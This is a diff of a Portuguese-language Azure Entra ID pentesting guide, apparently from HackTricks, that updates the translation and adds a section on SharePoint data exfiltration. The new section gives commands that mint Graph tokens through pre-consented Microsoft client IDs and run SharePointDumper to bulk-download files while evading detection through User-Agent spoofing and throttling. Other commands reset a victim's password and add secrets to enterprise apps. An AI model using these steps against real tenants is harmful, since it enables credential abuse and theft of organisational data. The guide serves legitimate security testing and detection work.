diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 4155f6ef8..94ab733d8 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,9 +4,9 @@ ## Informações Básicas -Azure Active Directory (Azure AD) serve como o serviço baseado em nuvem da Microsoft para gerenciamento de identidade e acesso. É fundamental para permitir que os funcionários façam login e tenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o portal Azure e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, incluindo **autenticação, autorização e gerenciamento de usuários**. +Azure Active Directory (Azure AD) funciona como o serviço baseado em nuvem da Microsoft para identidade e gerenciamento de acesso. Ele é instrumental para permitir que funcionários façam sign in e obtenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o Azure portal e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando **autenticação, autorização e gerenciamento de usuários**. -As principais características do Azure AD envolvem **autenticação multifatorial** e **acesso condicional**, juntamente com integração perfeita com outros serviços de segurança da Microsoft. Essas características elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e fazer cumprir suas políticas de acesso de forma eficaz. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento baseado em nuvem das identidades dos usuários. +Recursos-chave do Azure AD envolvem **autenticação multifator** e **acesso condicional**, além de integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e aplicar efetivamente suas políticas de acesso. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é vital para o gerenciamento baseado em nuvem das identidades de usuários. ## Enumeração @@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds # Connect with access token Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken] +# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token) # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force @@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Quando você **faz login** via **CLI** no Azure com qualquer programa, você está usando uma **Aplicação Azure** de um **tenant** que pertence à **Microsoft**. Essas Aplicações, como as que você pode criar em sua conta, **têm um id de cliente**. Você **não poderá ver todas elas** nas **listas de aplicações permitidas** que você pode ver no console, **mas elas são permitidas por padrão**. +Quando você faz **login** via **CLI** no Azure com qualquer programa, você está usando uma **Azure Application** de um **tenant** que pertence à **Microsoft**. Essas aplicações, como as que você pode criar na sua conta, **têm um client id**. Você **não conseguirá ver todas elas** nas **listas de aplicações permitidas** que pode ver no console, **mas elas são permitidas por padrão**. -Por exemplo, um **script powershell** que **autentica** usa um app com id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que o app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via esse App. +Por exemplo, um **powershell script** que **autentica** usa uma app com client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que a app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via essa App. -No entanto, existem **outros ids de cliente** de aplicações que **permitirão que você se conecte ao Azure**: +No entanto, existem **outros client-ids** de aplicações que **vão permitir que você se conecte ao Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -213,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential ` -Verbose -Debug ` -InformationAction Continue ``` -### Inquilinos +### Locatários {{#tabs }} {{#tab name="az cli" }} @@ -357,23 +358,23 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtab }} {{#endtabs }} -#### Alterar Senha do Usuário +#### Alterar senha do usuário ```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA & Conditional Access Policies +### MFA & Políticas de Acesso Condicional -É altamente recomendável adicionar MFA a cada usuário, no entanto, algumas empresas não o farão ou podem configurá-lo com um Acesso Condicional: O usuário será **obrigado a usar MFA se** fizer login de um local específico, navegador ou **alguma condição**. Essas políticas, se não configuradas corretamente, podem ser propensas a **bypasses**. Verifique: +É altamente recomendável habilitar MFA para todos os usuários; entretanto, algumas empresas não o configuram ou podem configurá-lo com um Conditional Access: o usuário será **obrigado a usar MFA se** fizer login a partir de um local específico, navegador ou **alguma condição**. Essas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Ver: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Groups +### Grupos -Para mais informações sobre grupos do Entra ID, verifique: +Para mais informações sobre grupos do Entra ID, veja: {{#ref}} ../az-basic-information/ @@ -487,16 +488,16 @@ Os proprietários do grupo podem adicionar novos usuários ao grupo Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele poderia abusar dessa funcionalidade para **entrar em outros grupos**.\ -> Confira como abusar de grupos dinâmicos na página a seguir: +> Grupos podem ser dinâmicos, o que basicamente significa que **se um user cumprir certas condições ele será adicionado a um grupo**. Claro, se as condições se basearem em **atributos** que um **user** pode **controlar**, ele pode abusar dessa funcionalidade para **entrar em outros grupos**.\ +> Veja como abusar de grupos dinâmicos na seguinte página: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -### Principais Serviços +### Service Principals -Para mais informações sobre principais serviços do Entra ID, confira: +Para mais informações sobre Entra ID service principals consulte: {{#ref}} ../az-basic-information/ @@ -597,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> O proprietário de um Service Principal pode alterar sua senha. +> O Owner de um Service Principal pode alterar sua senha.
-Liste e tente adicionar um segredo de cliente em cada Aplicativo Empresarial +Liste e tente adicionar um client secret em cada Enterprise App ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -708,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications." ### Aplicações -Para mais informações sobre Aplicações, consulte: +Para mais informações sobre Aplicações consulte: {{#ref}} ../az-basic-information/ {{#endref}} -Quando um App é gerado, 2 tipos de permissões são concedidas: +Quando uma Aplicação é gerada, são concedidos dois tipos de permissões: -- **Permissões** dadas ao **Service Principal** -- **Permissões** que o **app** pode ter e usar em **nome do usuário**. +- **Permissões** concedidas ao **Service Principal** +- **Permissões** que a **aplicação** pode ter e usar em **nome do usuário**. {{#tabs }} {{#tab name="az cli" }} @@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92 # Get Cloud Applications Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` {{#endtab }} @@ -792,17 +820,17 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> Um aplicativo com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo-se o papel.\ -> Para mais informações [**verifique isso**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo o role.\ +> Para mais informações [**veja isto**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Uma string secreta que o aplicativo usa para provar sua identidade ao solicitar um token é a senha do aplicativo.\ -> Portanto, se encontrar esta **senha**, você pode acessar como o **service principal** **dentro** do **tenant**.\ -> Note que esta senha só é visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\ -> O **proprietário** do **aplicativo** pode **adicionar uma senha** a ele (para que ele possa se passar por ele).\ -> Logins como esses service principals **não são marcados como arriscados** e **não terão MFA.** +> Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a application password.\ +> Portanto, se encontrar esta **password** você pode acessar como o **service principal** **dentro** do **tenant**.\ +> Observe que esta **password** só fica visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\ +> O **owner** da **application** pode **add a password** a ela (assim ele pode se passar por ela).\ +> Logins como esses **service principals** não são marcados como arriscados e eles **não terão MFA.** -É possível encontrar uma lista de IDs de aplicativos comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +É possível encontrar uma lista de App IDs comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities @@ -824,7 +852,7 @@ az identity list --output table ### Funções do Azure -Para mais informações sobre funções do Azure, consulte: +Para mais informações sobre as funções do Azure, consulte: {{#ref}} ../az-basic-information/ @@ -909,9 +937,9 @@ Headers = @{ {{#endtab }} {{#endtabs }} -### Funções do Entra ID +### Entra ID Roles -Para mais informações sobre funções do Azure, consulte: +Para mais informações sobre Azure roles, consulte: {{#ref}} ../az-basic-information/ @@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Se um dispositivo (VM) estiver **juntado ao AzureAD**, usuários do AzureAD poderão **fazer login**.\ -> Além disso, se o usuário logado for **Proprietário** do dispositivo, ele será **administrador local**. +> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **fazer login**.\ +> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **local admin**. ### Unidades Administrativas -Para mais informações sobre unidades administrativas, consulte: +Para mais informações sobre unidades administrativas consulte: {{#ref}} ../az-basic-information/ @@ -1072,13 +1100,60 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Escalação de Privilégios do Entra ID +## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) + +Attackers with a **delegated Microsoft Graph token** that includes **`Sites.Read.All`** or **`Sites.ReadWrite.All`** can enumerate **sites/drives/items** over Graph and then **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). The [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automates the full flow (enumeration → pre-auth downloads) and emits per-request telemetry for detection testing. + +### Obtaining usable delegated tokens + +- SharePointDumper itself **does not authenticate**; supply an access token (optionally refresh token). +- Pre-consented **first-party clients** can be abused to mint a Graph token without registering an app. Example `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations: +```powershell +# CAE requested by default; yields long-lived (~24h) access token +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE) + +# Other pre-consented clients +Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE) +Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE) +Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE) +Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) +``` +> [!NOTE] +> Clientes FOCI TRUE suportam refresh entre dispositivos; clientes FOCI FALSE frequentemente requerem `-Origin` para satisfazer a validação de origem da reply URL. + +### Executando SharePointDumper para enumeration + exfiltration + +- Dump básico com UA / proxy / throttling personalizado: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' +``` +- Controle de escopo: incluir/excluir sites ou extensões e limites globais: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 +``` +- **Retomar** execuções interrompidas (reenumera, mas ignora itens baixados): +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant +``` +- **Atualização automática do token em HTTP 401** (requer EntraTokenAid carregado): +```powershell +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' +``` +Notas operacionais: + +- Prefere tokens **CAE-enabled** para evitar expiração no meio da execução; tentativas de atualização não são registradas no log da API da ferramenta. +- Gera **CSV/JSON request logs** para **Graph + SharePoint** e oculta por padrão os tokens de download incorporados do SharePoint (configurável). +- Suporta **User-Agent personalizado**, **HTTP proxy**, **atraso por requisição + jitter**, e **desligamento seguro com Ctrl+C** para modelagem de tráfego durante testes de detecção/IR. + +## Escalada de Privilégios do Entra ID {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Escalação de Privilégios do Azure +## Escalada de Privilégios do Azure {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md @@ -1086,60 +1161,62 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ## Mecanismos Defensivos -### Gerenciamento de Identidade Privilegiada (PIM) +### Privileged Identity Management (PIM) -O Gerenciamento de Identidade Privilegiada (PIM) no Azure ajuda a **prevenir privilégios excessivos** sendo atribuídos a usuários desnecessariamente. +Privileged Identity Management (PIM) no Azure ajuda a **evitar que privilégios excessivos** sejam atribuídos a usuários desnecessariamente. -Uma das principais características fornecidas pelo PIM é que permite não atribuir funções a principais que estão constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Então, sempre que o usuário quiser ativar essa função, ele precisa solicitá-la indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Em seguida, um **administrador precisa aprovar** a solicitação.\ -Observe que o usuário também poderá solicitar para **estender** o tempo. +Uma das principais funcionalidades do PIM é que ele permite não atribuir papéis a principals que ficam constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Depois, sempre que o usuário quiser ativar esse papel, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Em seguida, um **admin precisa aprovar** a solicitação.\ +Observe que o usuário também poderá solicitar a **extensão** do tempo. -Além disso, **o PIM envia e-mails** sempre que um papel privilegiado está sendo atribuído a alguém. +Além disso, o **PIM envia e-mails** sempre que um papel privilegiado é atribuído a alguém.
-Quando o PIM está habilitado, é possível configurar cada função com certos requisitos, como: +Quando o PIM está habilitado é possível configurar cada papel com certos requisitos como: -- Duração máxima (horas) de ativação +- Duração máxima (horas) da ativação - Exigir MFA na ativação -- Exigir contexto de autenticação de Acesso Condicional +- Exigir contexto de autenticação do Conditional Access - Exigir justificativa na ativação - Exigir informações de ticket na ativação - Exigir aprovação para ativar - Tempo máximo para expirar as atribuições elegíveis -- Muitas mais configurações sobre quando e quem enviar notificações quando certas ações acontecem com esse papel +- Muitas outras configurações sobre quando e para quem enviar notificações quando certas ações acontecerem com esse papel -### Políticas de Acesso Condicional +### Políticas de Conditional Access -Verifique: +Check: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Proteção de Identidade do Entra +### Entra Identity Protection -A Proteção de Identidade do Entra é um serviço de segurança que permite **detectar quando um usuário ou um login é muito arriscado** para ser aceito, permitindo **bloquear** o usuário ou a tentativa de login. +Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou uma tentativa de sign-in é muito arriscada** para ser aceita, permitindo **bloquear** o usuário ou a tentativa de sign-in. -Permite que o administrador configure para **bloquear** tentativas quando o risco é "Baixo e acima", "Médio e acima" ou "Alto". Embora, por padrão, esteja completamente **desativado**: +Permite que o admin o configure para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Porém, por padrão está completamente **desabilitado**:
> [!TIP] -> Atualmente, é recomendado adicionar essas restrições por meio de políticas de Acesso Condicional, onde é possível configurar as mesmas opções. +> Hoje em dia é recomendado adicionar essas restrições via políticas de Conditional Access, onde é possível configurar as mesmas opções. -### Proteção de Senha do Entra +### Entra Password Protection -A Proteção de Senha do Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas ao bloquear contas quando várias tentativas de login malsucedidas ocorrem**.\ -Também permite **proibir uma lista de senhas personalizadas** que você precisa fornecer. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas, bloqueando contas quando várias tentativas de login sem sucesso ocorrem**.\ +Também permite **proibir uma lista personalizada de senhas** que você precisa fornecer. -Pode ser **aplicada tanto** no nível da nuvem quanto no Active Directory local. +Pode ser **aplicado tanto** no nível cloud quanto no Active Directory on-premises. -O modo padrão é **Auditoria**: +O modo padrão é **Audit**:
## Referências - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) +- [SharePointDumper](https://github.com/zh54321/SharePointDumper) +- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid) {{#include ../../../banners/hacktricks-training.md}}